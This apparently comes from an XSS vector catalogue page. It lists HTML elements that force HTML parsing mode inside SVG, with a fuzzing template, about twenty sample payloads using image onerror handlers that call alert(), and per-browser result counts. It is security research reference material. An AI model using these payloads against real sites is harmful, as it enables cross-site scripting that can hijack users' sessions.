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HTML tags that force HTML mode inside SVG

⚠ Browser differences
Chrome logo 39
Firefox logo 1
Edge logo 39
Safari logo 39

This vector shows which HTML elements cause the browser to change to HTML mode.

hackvertor
Created byhackvertor
Created Aug 2, 2024
Updated May 27, 2025

Tweet
Detecting browser...
CategoryXML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
$[data1] placeholderhtml
Template used:
<svg><$[data1]><image src=data: onerror=log('$[data1]')></$[data1]></svg>

Sample payloads

<svg><title><image src=data: onerror=alert('title')></title></svg>
<svg><meta><image src=data: onerror=alert('meta')></meta></svg>
<svg><i><image src=data: onerror=alert('i')></i></svg>
<svg><body><image src=data: onerror=alert('body')></body></svg>
<svg><table><image src=data: onerror=alert('table')></table></svg>
<svg><em><image src=data: onerror=alert('em')></em></svg>
<svg><nobr><image src=data: onerror=alert('nobr')></nobr></svg>
<svg><img><image src=data: onerror=alert('img')></img></svg>
<svg><dd><image src=data: onerror=alert('dd')></dd></svg>
<svg><br><image src=data: onerror=alert('br')></br></svg>
<svg><strong><image src=data: onerror=alert('strong')></strong></svg>
<svg><small><image src=data: onerror=alert('small')></small></svg>
<svg><strike><image src=data: onerror=alert('strike')></strike></svg>
<svg><blockquote><image src=data: onerror=alert('blockquote')></blockquote></svg>
<svg><big><image src=data: onerror=alert('big')></big></svg>
<svg><center><image src=data: onerror=alert('center')></center></svg>
<svg><pre><image src=data: onerror=alert('pre')></pre></svg>
<svg><head><image src=data: onerror=alert('head')></head></svg>
<svg><ol><image src=data: onerror=alert('ol')></ol></svg>
<svg><embed><image src=data: onerror=alert('embed')></embed></svg>

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated17 Feb 2026
Found 39 results
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Chrome logo
Chrome 144.0.0.0 mobile Android 10older version
Updated31 Jan 2026
Found 39 results
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Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated17 Feb 2026
Found 39 results
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Firefox logo
Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 1 result
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Firefox logo
Firefox 147.0 desktop Linuxolder version
Updated1 Feb 2026
Found 1 result
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Firefox logo
Firefox 128.0 desktop macOS 10.15older version
Updated3 Aug 2024
Found 1 result
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Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 39 results
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Safari logo
Safari 18.0 desktop macOS 10.15.7
Updated2 Aug 2024
Found 39 results
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